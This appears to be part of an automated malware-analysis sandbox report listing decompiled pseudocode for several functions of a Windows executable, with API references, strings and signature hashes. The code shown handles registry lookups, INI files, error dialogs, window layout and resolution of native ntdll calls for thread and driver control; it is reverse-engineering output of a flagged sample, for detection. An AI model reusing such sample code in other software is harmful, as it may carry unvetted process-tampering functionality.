0x00407a06
0x00407a0c
0x00407a11
0x00407a13
0x00407a14
0x00407a17
0x00407a18
0x00407a1d
0x00407a22
0x00407a25
0x00407a2a
0x00407a35
0x00407a3a
0x00407a3b
0x00407a40
0x00407a52

APIs

memset.MSVCRT ref: 004079DB

Part of subcall function 0040ADF1: memcpy.MSVCRT ref: 0040AE6E

Part of subcall function 00407250: wcscpy.MSVCRT ref: 00407255
Part of subcall function 00407250: _wcslwr.MSVCRT ref: 00407288

_snwprintf.MSVCRT ref: 00407A25

Strings

<%s>%s</%s>, xrefs: 00407A18
</item>, xrefs: 00407A41
<item>, xrefs: 004079AE

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintf_wcslwrmemcpymemsetwcscpy
String ID: <%s>%s</%s>$</item>$<item>
API String ID: 1775345501-2769808009
Opcode ID: 3db2232b312ed916784b241718d450bfb00e2b25eb8021401c0f03919c4bf03b
Instruction ID: c8ba369f0531ab1f4cd0c6f6a7ba1592bf00f2a9533aec28b16f0bdd84d8fa76
Opcode Fuzzy Hash: 3db2232b312ed916784b241718d450bfb00e2b25eb8021401c0f03919c4bf03b
Instruction Fuzzy Hash: 3D119131A40219BFDB21AB65CC86E5A7B25FF04308F00006AFD0477692C739B965DBD9

Uniqueness

Uniqueness Score: -1.00%

Function 0040467A, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44
registryCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E0040467A(void* __edi) {
				signed int _v8;
				void* _v12;
				void* _v16;
				void _v2062;
				short _v2064;
				int _t16;

				_v8 = _v8 & 0x00000000;
				_t16 = E004043F8( &_v12, 0x20019);
				if(_t16 == 0) {
					_v2064 = _v2064 & _t16;
					memset( &_v2062, _t16, 0x7fe);
					_push(__edi + 0x20a);
					_push(L"%s\\shell\\%s");
					_push(0x3ff);
					_push( &_v2064);
					L0040B1EC();
					if(RegOpenKeyExW(_v12,  &_v2064, 0, 0x20019,  &_v16) == 0) {
						_v8 = 1;
						RegCloseKey(_v16);
					}
				}
				return _v8;
			}

0x00404683
0x00404692
0x00404699
0x0040469b
0x004046af
0x004046ba
0x004046bc
0x004046c7
0x004046cc
0x004046cd
0x004046ee
0x004046f3
0x004046fa
0x004046fa
0x004046ee
0x00404705

APIs

memset.MSVCRT ref: 004046AF
_snwprintf.MSVCRT ref: 004046CD
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,?,?,?,?,?,00020019), ref: 004046E6
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,00020019), ref: 004046FA

Strings

%s\shell\%s, xrefs: 004046BC

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseOpen_snwprintfmemset
String ID: %s\shell\%s
API String ID: 1458959524-3196117466
Opcode ID: dd937bb9006710e66f977af40412b0b6fd133ebddff1bc1205fab9b1dc2b10fe
Instruction ID: 1855bd24da60c853c30f7b3e18bb60aca338c900c60696cbbcdbf1fba26ecf92
Opcode Fuzzy Hash: dd937bb9006710e66f977af40412b0b6fd133ebddff1bc1205fab9b1dc2b10fe
Instruction Fuzzy Hash: 20011EB5D00218FADB109BD1DD45FDAB7BCEF44314F0041B6AA04F2181EB749B489BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00409D5F, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E00409D5F(void* __ecx, wchar_t* __esi, void* __eflags, intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, WCHAR* _a16, long _a20, WCHAR* _a24) {
				signed short _v131076;

				_t25 = __esi;
				E0040B550(0x20000, __ecx);
				if(_a4 == 0) {
					return GetPrivateProfileStringW(_a8, _a12, _a16, __esi, _a20, _a24);
				} else {
					if(__esi == 0 || wcschr(__esi, 0x22) == 0) {
						_push(_a24);
					} else {
						_v131076 = _v131076 & 0x00000000;
						_push(__esi);
						_push(L"\"%s\"");
						_push(0xfffe);
						_push( &_v131076);
						L0040B1EC();
						_push(_a24);
						_push( &_v131076);
					}
					return WritePrivateProfileStringW(_a8, _a12, ??, ??);
				}
			}

0x00409d5f
0x00409d67
0x00409d70
0x00409ddb
0x00409d72
0x00409d74
0x00409db2
0x00409d84
0x00409d84
0x00409d8c
0x00409d8d
0x00409d98
0x00409d9d
0x00409d9e
0x00409da6
0x00409daf
0x00409daf
0x00409dc3
0x00409dc3

APIs

wcschr.MSVCRT ref: 00409D79
_snwprintf.MSVCRT ref: 00409D9E
WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 00409DBC
GetPrivateProfileStringW.KERNEL32(?,?,?,?,?,?), ref: 00409DD4

Strings

"%s", xrefs: 00409D8D

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: PrivateProfileString$Write_snwprintfwcschr
String ID: "%s"
API String ID: 1343145685-3297466227
Opcode ID: ba2a529124e3a207c998afa530794a8b3af16421fe15764eebdae90aacee263b
Instruction ID: cff84325bbeeabecfb89bf19508a3778b9d9768fc6139f0f3fcaa17558a1ecc1
Opcode Fuzzy Hash: ba2a529124e3a207c998afa530794a8b3af16421fe15764eebdae90aacee263b
Instruction Fuzzy Hash: BA018B3244421AFADF219F90DC45FDA3B6AEF04348F008065BA14701E3D739C921DB98

Uniqueness

Uniqueness Score: -1.00%

Function 004047D2, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 31
windowCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E004047D2(long __ecx, void* __eflags, struct HWND__* _a4) {
				char _v2052;
				short _v4100;
				void* __edi;
				long _t15;
				long _t16;

				_t15 = __ecx;
				E0040B550(0x1000, __ecx);
				_t16 = _t15;
				if(_t16 == 0) {
					_t16 = GetLastError();
				}
				E00404706(_t16,  &_v2052);
				_push( &_v2052);
				_push(_t16);
				_push(L"Error %d: %s");
				_push(0x400);
				_push( &_v4100);
				L0040B1EC();
				return MessageBoxW(_a4,  &_v4100, L"Error", 0x30);
			}

0x004047d2
0x004047da
0x004047e0
0x004047e4
0x004047ec
0x004047ec
0x004047f5
0x00404800
0x00404801
0x00404802
0x0040480d
0x00404812
0x00404813
0x00404834

APIs

GetLastError.KERNEL32(?,?,004035EB,?,?), ref: 004047E6
_snwprintf.MSVCRT ref: 00404813
MessageBoxW.USER32(?,?,Error,00000030), ref: 0040482C

Strings

Error %d: %s, xrefs: 00404802
Error, xrefs: 0040481D

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastMessage_snwprintf
String ID: Error$Error %d: %s
API String ID: 313946961-1552265934
Opcode ID: 9fa9ceadd2aea683486b90f32a73d9d70e1e2e007ee85f632c4fe4fcea7526ce
Instruction ID: 90e5118ee4f46ea14b6138c5fdcdbe0805ab296af9aaa7bfd3b1d45c15712702
Opcode Fuzzy Hash: 9fa9ceadd2aea683486b90f32a73d9d70e1e2e007ee85f632c4fe4fcea7526ce
Instruction Fuzzy Hash: 30F08975500208A6C711A795CC46FD572ACEB44785F0401B6B604F31C1DB78AA448A9C

Uniqueness

Uniqueness Score: -1.00%

Function 004068EC, Relevance: 7.6, APIs: 6, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E004068EC(intOrPtr* __eax, void* __eflags, intOrPtr _a4) {
				void* _v8;
				signed int _v12;
				void* __ebx;
				void* __ecx;
				void* __edi;
				void* __esi;
				signed int _t74;
				signed int _t76;
				signed short _t85;
				signed int _t87;
				intOrPtr _t88;
				signed short _t93;
				void* _t95;
				signed int _t124;
				signed int _t126;
				signed int _t128;
				intOrPtr* _t131;
				signed int _t135;
				signed int _t137;
				signed int _t138;
				void* _t141;
				void* _t142;
				void* _t146;

				_t142 = __eflags;
				_push(_t102);
				_t131 = __eax;
				 *((intOrPtr*)(__eax + 4)) =  *((intOrPtr*)( *__eax + 0x68))();
				E00406746(__eax);
				 *(_t131 + 0x38) =  *(_t131 + 0x38) & 0x00000000;
				_t135 = 5;
				 *((intOrPtr*)(_t131 + 0x2a0)) = _a4;
				_t124 = 0x14;
				_t74 = _t135 * _t124;
				 *(_t131 + 0x2d0) = _t135;
				_push( ~(0 | _t142 > 0x00000000) | _t74);
				L0040B26C();
				 *(_t131 + 0x2d4) = _t74;
				_t126 = 0x14;
				_t76 = _t135 * _t126;
				_push( ~(0 | _t142 > 0x00000000) | _t76);
				L0040B26C();
				_t95 = 0x40f008;
				 *(_t131 + 0x40) = _t76;
				_v8 = 0x40f008;
				do {
					_t137 =  *_t95 * 0x14;
					memcpy( *(_t131 + 0x2d4) + _t137, _t95, 0x14);
					_t24 = _t95 + 0x14; // 0x40f01c
					memcpy( *(_t131 + 0x40) + _t137, _t24, 0x14);
					_t85 =  *( *(_t131 + 0x2d4) + _t137 + 0x10);
					_t141 = _t141 + 0x18;
					_v12 = _t85;
					 *( *(_t131 + 0x40) + _t137 + 0x10) = _t85;
					if((_t85 & 0xffff0000) == 0) {
						 *( *(_t131 + 0x2d4) + _t137 + 0x10) = E00405B81(_t85 & 0x0000ffff);
						_t93 = E00405B81(_v12 | 0x00010000);
						_t95 = _v8;
						 *( *(_t131 + 0x40) + _t137 + 0x10) = _t93;
					}
					_t95 = _t95 + 0x28;
					_t146 = _t95 - 0x40f0d0;
					_v8 = _t95;
				} while (_t146 < 0);
				 *(_t131 + 0x44) =  *(_t131 + 0x44) & 0x00000000;
				_t138 = 5;
				_t128 = 4;
				_t87 = _t138 * _t128;
				 *((intOrPtr*)(_t131 + 0x48)) = 1;
				 *(_t131 + 0x2c) = _t138;
				 *((intOrPtr*)(_t131 + 0x28)) = 0x20;
				_push( ~(0 | _t146 > 0x00000000) | _t87);
				L0040B26C();
				_push(0xc);
				 *(_t131 + 0x30) = _t87;
				L0040B26C();
				_t139 = _t87;
				if(_t87 == 0) {
					_t88 = 0;
					__eflags = 0;
				} else {
					_t88 = E00406607(_a4,  *((intOrPtr*)(_t131 + 0x58)), _t139);
				}
				 *((intOrPtr*)(_t131 + 0x2c0)) = _t88;
				 *((intOrPtr*)(_t131 + 0x4c)) = 1;
				 *((intOrPtr*)(_t131 + 0x50)) = 0;
				 *((intOrPtr*)(_t131 + 0x2b4)) = 1;
				 *((intOrPtr*)(_t131 + 0x2b8)) = 0;
				 *((intOrPtr*)(_t131 + 0x2bc)) = 0;
				 *((intOrPtr*)(_t131 + 0x2c4)) = 1;
				 *((intOrPtr*)(_t131 + 0x2c8)) = 1;
				 *((intOrPtr*)(_t131 + 0x334)) = 0x32;
				 *((intOrPtr*)(_t131 + 0x5c)) = 0xffffff;
				return E0040686C(_t131);
			}

0x004068ec
0x004068f0
0x004068f4
0x004068ff
0x00406902
0x0040690a
0x00406910
0x00406911
0x0040691b
0x0040691e
0x00406923
0x0040692d
0x0040692e
0x00406933
0x0040693d
0x00406940
0x00406949
0x0040694a
0x00406950
0x00406956
0x00406959
0x0040695c
0x00406964
0x0040696d
0x00406974
0x0040697e
0x00406989
0x00406990
0x00406998
0x0040699b
0x0040699f
0x004069b8
0x004069bc
0x004069c4
0x004069c7
0x004069c7
0x004069cb
0x004069ce
0x004069d4
0x004069d4
0x004069d9
0x004069df
0x004069e6
0x004069ea
0x004069ef
0x004069f2
0x004069f5
0x00406a00
0x00406a01
0x00406a06
0x00406a08
0x00406a0b
0x00406a10
0x00406a16
0x00406a25
0x00406a25
0x00406a18
0x00406a1e
0x00406a1e
0x00406a27
0x00406a2f
0x00406a32
0x00406a35
0x00406a3b
0x00406a41
0x00406a47
0x00406a4d
0x00406a53
0x00406a5d
0x00406a6d

APIs

Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406752
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406760
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406771
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406788
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406791

??2@YAPAXI@Z.MSVCRT ref: 0040692E
??2@YAPAXI@Z.MSVCRT ref: 0040694A
memcpy.MSVCRT ref: 0040696D
memcpy.MSVCRT ref: 0040697E
??2@YAPAXI@Z.MSVCRT ref: 00406A01
??2@YAPAXI@Z.MSVCRT ref: 00406A0B

Part of subcall function 00405B81: GetModuleHandleW.KERNEL32(00000000,?,?,00403490), ref: 00405BC0
Part of subcall function 00405B81: LoadStringW.USER32(00000000,000001F5,?), ref: 00405C59
Part of subcall function 00405B81: memcpy.MSVCRT ref: 00405C99

Part of subcall function 00405B81: wcscpy.MSVCRT ref: 00405C02
Part of subcall function 00405B81: wcslen.MSVCRT ref: 00405C20
Part of subcall function 00405B81: GetModuleHandleW.KERNEL32(00000000,?,?,?,00403490), ref: 00405C2E

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$??2@$memcpy$HandleModule$LoadStringwcscpywcslen
String ID:
API String ID: 975042529-0
Opcode ID: 7b5c259927b59544c1da32c87fb64e8a434fc950baf11122839f6010e947eddb
Instruction ID: 1f3882e7c97b8b8272a376ef7761bc0b0e9511dafd47f947fc31f4e13e233f39
Opcode Fuzzy Hash: 7b5c259927b59544c1da32c87fb64e8a434fc950baf11122839f6010e947eddb
Instruction Fuzzy Hash: 53414EB1B01715AFD718DF39C88A75AFBA4FB08314F10422FE519D7691D775A8108BC8

Uniqueness

Uniqueness Score: -1.00%

Function 004097A9, Relevance: 7.6, APIs: 5, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004097A9(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4) {
				int _v8;
				int _v12;
				intOrPtr _v16;
				void* _v20;
				int _v24;
				void _v56;
				char _v584;
				char _v588;
				char _v41548;
				void* __edi;
				void* _t40;
				void _t46;
				intOrPtr _t47;
				intOrPtr* _t64;
				intOrPtr* _t66;
				intOrPtr _t67;
				intOrPtr _t71;
				int _t77;
				void* _t80;
				void* _t81;
				void* _t82;
				void* _t83;

				E0040B550(0xa248, __ecx);
				_t77 = 0;
				_v8 = 0;
				E00408E31();
				_t40 =  *0x41c47c;
				if(_t40 != 0) {
					_t40 =  *_t40(5,  &_v41548, 0xa000,  &_v8);
				}
				if(_v8 == _t77) {
					_v8 = 0x186a0;
				}
				_v8 = _v8 + 0x3e80;
				_push(_v8);
				L0040B26C();
				_t81 = _t40;
				_v20 = _t81;
				memset(_t81, _t77, _v8);
				_t83 = _t82 + 0x10;
				_v24 = _t77;
				E00408E31();
				E00408F2A(0x41c47c, _t81, _v8,  &_v24);
				L5:
				while(1) {
					if( *((intOrPtr*)(_t81 + 0x3c)) == _t77) {
						L16:
						_t46 =  *_t81;
						_t77 = 0;
						if(_t46 == 0) {
							_push(_v20);
							L0040B272();
							return _t46;
						}
						_t81 = _t81 + _t46;
						continue;
					}
					_t47 = _a4;
					_t71 =  *((intOrPtr*)(_t47 + 0x34));
					_v12 = _t77;
					_v16 = _t71;
					if(_t71 <= _t77) {
						L10:
						_t66 = 0;
						L11:
						if(_t66 == 0) {
							E004090AF( &_v588);
							E00404923(0x104,  &_v584,  *((intOrPtr*)(_t81 + 0x3c)));
							_t32 = _t81 + 0x20; // 0x20
							memcpy( &_v56, _t32, 8);
							_t83 = _t83 + 0x10;
							E004099ED(_a4 + 0x28,  &_v588);
						} else {
							_t26 = _t66 + 4; // 0x4
							_t72 = _t26;
							if( *_t26 == 0) {
								E00404923(0x104, _t72,  *((intOrPtr*)(_t81 + 0x3c)));
								_t28 = _t81 + 0x20; // 0x20
								memcpy(_t66 + 0x214, _t28, 8);
								_t83 = _t83 + 0x10;
							}
						}
						goto L16;
					}
					_t67 =  *((intOrPtr*)(_t81 + 0x44));
					_t80 = _t47 + 0x28;
					while(1) {
						_t64 = E00405A92(_v12, _t80);
						if( *_t64 == _t67) {
							break;
						}
						_v12 = _v12 + 1;
						if(_v12 < _v16) {
							continue;
						}
						goto L10;
					}
					_t66 = _t64;
					goto L11;
				}
			}

0x004097b1
0x004097b9
0x004097bb
0x004097be
0x004097c3
0x004097ca
0x004097de
0x004097de
0x004097e3
0x004097e5
0x004097e5
0x004097ec
0x004097f3
0x004097f6
0x004097fe
0x00409802
0x00409805
0x0040980a
0x0040980d
0x00409810
0x00409822
0x00000000
0x00409827
0x0040982a
0x004098da
0x004098da
0x004098dc
0x004098e0
0x004098e9
0x004098ec
0x004098f6
0x004098f6
0x004098e2
0x00000000
0x004098e2
0x00409830
0x00409833
0x00409838
0x0040983b
0x0040983e
0x0040985f
0x0040985f
0x00409861
0x00409863
0x0040989e
0x004098b1
0x004098b8
0x004098c0
0x004098c5
0x004098d5
0x00409865
0x00409865
0x00409865
0x0040986c
0x00409878
0x0040987f
0x0040988a
0x0040988f
0x0040988f
0x0040986c
0x00000000
0x00409863
0x00409840
0x00409843
0x00409846
0x0040984b
0x00409852
0x00000000
0x00000000
0x00409854
0x0040985d
0x00000000
0x00000000
0x00000000
0x0040985d
0x00409894
0x00000000
0x00409894

APIs

Part of subcall function 00408E31: GetModuleHandleW.KERNEL32(ntdll.dll,?,004097C3), ref: 00408E44
Part of subcall function 00408E31: GetProcAddress.KERNEL32(00000000,NtQuerySystemInformation), ref: 00408E5B
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtLoadDriver), ref: 00408E6D
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtUnloadDriver), ref: 00408E7F
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtOpenSymbolicLinkObject), ref: 00408E91
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtQuerySymbolicLinkObject), ref: 00408EA3
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtQueryObject), ref: 00408EB5
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtOpenThread), ref: 00408EC7
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtClose), ref: 00408ED9
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtQueryInformationThread), ref: 00408EEB
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtSuspendThread), ref: 00408EFD
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtResumeThread), ref: 00408F0F
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtTerminateThread), ref: 00408F21

??2@YAPAXI@Z.MSVCRT ref: 004097F6
memset.MSVCRT ref: 00409805
memcpy.MSVCRT ref: 0040988A
memcpy.MSVCRT ref: 004098C0
??3@YAXPAX@Z.MSVCRT ref: 004098EC

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$memcpy$??2@??3@HandleModulememset
String ID:
API String ID: 3641025914-0
Opcode ID: 5e4299bbf46472c45a4c6d50f6a05ce4ddc252402b4fb65f630eed7603d777c4
Instruction ID: bb54f3dbfe595cb11ae02f9551d523dabe65b88657fa4b418f7fa82d5da08bd9
Opcode Fuzzy Hash: 5e4299bbf46472c45a4c6d50f6a05ce4ddc252402b4fb65f630eed7603d777c4
Instruction Fuzzy Hash: BF41C172900209EFDB10EBA5C8819AEB3B9EF45304F14847FE545B3292DB78AE41CB59

Uniqueness

Uniqueness Score: -1.00%

Function 004067AC, Relevance: 7.6, APIs: 5, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E004067AC(char** __edi) {
				void* __esi;
				void* _t9;
				void** _t11;
				char** _t15;
				char** _t24;
				void* _t25;
				char* _t28;
				char* _t29;
				char* _t30;
				char* _t31;
				char** _t33;

				_t24 = __edi;
				 *__edi = "cf@";
				_t9 = E00406746(__edi);
				_t28 = __edi[5];
				if(_t28 != 0) {
					_t9 = E004055D1(_t9, _t28);
					_push(_t28);
					L0040B272();
				}
				_t29 = _t24[4];
				if(_t29 != 0) {
					_t9 = E004055D1(_t9, _t29);
					_push(_t29);
					L0040B272();
				}
				_t30 = _t24[3];
				if(_t30 != 0) {
					_t9 = E004055D1(_t9, _t30);
					_push(_t30);
					L0040B272();
				}
				_t31 = _t24[2];
				if(_t31 != 0) {
					E004055D1(_t9, _t31);
					_push(_t31);
					L0040B272();
				}
				_t15 = _t24;
				_pop(_t32);
				_push(_t24);
				_t33 = _t15;
				_t25 = 0;
				if(_t33[1] > 0 && _t33[0xd] > 0) {
					do {
						 *((intOrPtr*)( *((intOrPtr*)(E0040664E(_t33, _t25))) + 0xc))();
						_t25 = _t25 + 1;
					} while (_t25 < _t33[0xd]);
				}
				_t11 =  *( *_t33)();
				free( *_t11);
				return _t11;
			}

0x004067ac
0x004067af
0x004067b5
0x004067ba
0x004067bf
0x004067c1
0x004067c6
0x004067c7
0x004067cc
0x004067cd
0x004067d2
0x004067d4
0x004067d9
0x004067da
0x004067df
0x004067e0
0x004067e5
0x004067e7
0x004067ec
0x004067ed
0x004067f2
0x004067f3
0x004067f8
0x004067fa
0x004067ff
0x00406800
0x00406805
0x00406806
0x00406808
0x0040680f
0x00406810
0x00406812
0x00406817
0x0040681e
0x00406828
0x0040682b
0x0040682c
0x0040681e
0x00406835
0x00406839
0x00406841

APIs

Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406752
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406760
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406771
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406788
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406791

??3@YAXPAX@Z.MSVCRT ref: 004067C7
??3@YAXPAX@Z.MSVCRT ref: 004067DA
??3@YAXPAX@Z.MSVCRT ref: 004067ED
??3@YAXPAX@Z.MSVCRT ref: 00406800
free.MSVCRT(00000000), ref: 00406839

Part of subcall function 004055D1: free.MSVCRT(?,00405843,00000000,?,00000000), ref: 004055DA

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$free
String ID:
API String ID: 2241099983-0
Opcode ID: fae72e90abf19a0f598a0744b86edfa2e5e81d8d411ebeda80197a1c121c0671
Instruction ID: 35b4881f8254e3ed5d778deec4dde62c4732b660dc94e1daad4ca6c431b67ac1
Opcode Fuzzy Hash: fae72e90abf19a0f598a0744b86edfa2e5e81d8d411ebeda80197a1c121c0671
Instruction Fuzzy Hash: 4E010233902D209BCA217B2A950541FB395FE82B24316807FE802772C5CF38AC618AED

Uniqueness

Uniqueness Score: -1.00%

Function 00405CF8, Relevance: 7.5, APIs: 5, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405CF8(void* __esi, struct HWND__* _a4, signed int _a8) {
				intOrPtr _v12;
				struct tagPOINT _v20;
				struct tagRECT _v36;
				int _t27;
				struct HWND__* _t30;
				struct HWND__* _t32;

				_t30 = _a4;
				if((_a8 & 0x00000001) != 0) {
					_t32 = GetParent(_t30);
					GetWindowRect(_t30,  &_v20);
					GetClientRect(_t32,  &_v36);
					MapWindowPoints(0, _t32,  &_v20, 2);
					_t27 = _v36.right - _v12 - _v36.left;
					_v20.x = _t27;
					SetWindowPos(_t30, 0, _t27, _v20.y, 0, 0, 5);
				}
				if((_a8 & 0x00000002) != 0) {
					E00404FBB(_t30);
				}
				return 1;
			}

0x00405d03
0x00405d06
0x00405d10
0x00405d17
0x00405d22
0x00405d32
0x00405d40
0x00405d48
0x00405d4e
0x00405d54
0x00405d59
0x00405d5c
0x00405d61
0x00405d67

APIs

GetParent.USER32(?), ref: 00405D0A
GetWindowRect.USER32 ref: 00405D17
GetClientRect.USER32 ref: 00405D22
MapWindowPoints.USER32 ref: 00405D32
SetWindowPos.USER32(?,00000000,?,00000001,00000000,00000000,00000005), ref: 00405D4E

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Rect$ClientParentPoints
String ID:
API String ID: 4247780290-0
Opcode ID: a641cd19a410ed6a125ee0f2f41aa3775212a32dac042a11be58197803c42fc2
Instruction ID: c328b93d85e4c90ccc2b92edbac8192aeb41fc184e748709fb0c9a3f9f2b3a5a
Opcode Fuzzy Hash: a641cd19a410ed6a125ee0f2f41aa3775212a32dac042a11be58197803c42fc2
Instruction Fuzzy Hash: 41012932801029BBDB119BA59D8DEFFBFBCEF46750F04822AF901A2151D73895028BA5

Uniqueness

Uniqueness Score: -1.00%

Function 004083DC, Relevance: 7.5, APIs: 5, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E004083DC(void* __eax, int __ebx, void* _a4) {
				signed int _v8;
				signed int _v12;
				void* _v16;
				void* _t20;
				void* _t21;
				signed int _t28;
				void* _t32;
				void* _t34;

				_t20 = __eax;
				_v12 = _v12 & 0x00000000;
				_push(__ebx);
				_t28 = __eax - 1;
				L0040B26C();
				_v16 = __eax;
				if(_t28 > 0) {
					_t21 = _a4;
					_v8 = __ebx;
					_v8 =  ~_v8;
					_t32 = _t28 * __ebx + _t21;
					_a4 = _t21;
					do {
						memcpy(_v16, _a4, __ebx);
						memcpy(_a4, _t32, __ebx);
						_t20 = memcpy(_t32, _v16, __ebx);
						_a4 = _a4 + __ebx;
						_t32 = _t32 + _v8;
						_t34 = _t34 + 0x24;
						_v12 = _v12 + 1;
						_t28 = _t28 - 1;
					} while (_t28 > _v12);
				}
				_push(_v16);
				L0040B272();
				return _t20;
			}

0x004083dc
0x004083e2
0x004083e9
0x004083ea
0x004083eb
0x004083f3
0x004083f6
0x004083f8
0x00408401
0x00408404
0x00408407
0x00408409
0x0040840c
0x00408413
0x0040841d
0x00408427
0x0040842c
0x0040842f
0x00408432
0x00408435
0x00408438
0x00408439
0x0040843e
0x0040843f
0x00408442
0x0040844a

APIs

??2@YAPAXI@Z.MSVCRT ref: 004083EB
memcpy.MSVCRT ref: 00408413
memcpy.MSVCRT ref: 0040841D
memcpy.MSVCRT ref: 00408427
??3@YAXPAX@Z.MSVCRT ref: 00408442

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$??2@??3@
String ID:
API String ID: 1252195045-0
Opcode ID: ae14ed78cb3b9c7a1656bdd7c9bb9ccf218141e25ab2435f791856beeb738110
Instruction ID: 529a25ebd12540bef40c4bbbf5f662c822a20cdbd1f214c79cf6c3b5efc5d95d
Opcode Fuzzy Hash: ae14ed78cb3b9c7a1656bdd7c9bb9ccf218141e25ab2435f791856beeb738110
